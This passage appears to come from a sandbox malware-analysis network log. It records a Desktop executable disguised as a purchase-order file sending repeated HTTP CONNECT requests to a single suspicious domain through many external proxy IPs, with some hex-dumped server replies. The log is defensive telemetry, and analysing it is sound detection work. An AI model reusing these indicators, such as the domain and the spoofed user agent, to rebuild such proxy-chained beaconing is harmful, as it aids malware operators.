Mar 11, 2024 16:42:24.207705021 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.11	50553	121.139.218.165	31409	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.498188972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.688960075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689380884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.688927889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.11	52708	182.61.38.114	82	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.498220921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.870604038 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.11	50763	162.214.227.68	37976	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.504580021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.688740015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689379930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.688929081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.704233885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.782187939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.875969887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.969691992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:23.078933954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.11	52730	45.117.179.179	55606	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.507025003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.280251980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.439281940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.841371059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.569899082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.329462051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.938884974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.172842026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.782211065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.11	52821	43.255.113.232	8082	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.524420023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.879983902 CET	208	IN	HTTP/1.0 404 Not Found Server: HCS Date: Mon, 11 Mar 2024 18:29:45 GMT Content-Type: text/html Content-Length: 432 HCS-Error: ERR_FTP_NOT_FOUND 0 X-NGAA: MISS from CH-XW-NO1-315.2 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.11	51983	91.214.31.234	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.525079966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612427950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.117372036 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.11	52845	192.162.232.15	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.525721073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.11	52891	104.20.205.191	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.538536072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.692589045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.11	52895	104.18.254.76	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.540159941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.694641113 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.11	52178	148.72.23.56	36111	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.544894934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612301111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.642117023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.642014027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.657231092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.672859907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.672867060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.675290108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:22.797926903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.11	52091	185.250.27.54	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.545212030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612443924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.642146111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.642119884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.657247066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.672889948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.673432112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.11	52130	194.4.50.91	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.549712896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612325907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.11	52004	38.156.72.195	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.552759886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.315289974 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.11	52897	50.63.12.33	50781	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.554688931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188592911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.689735889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.689174891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689296007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689243078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
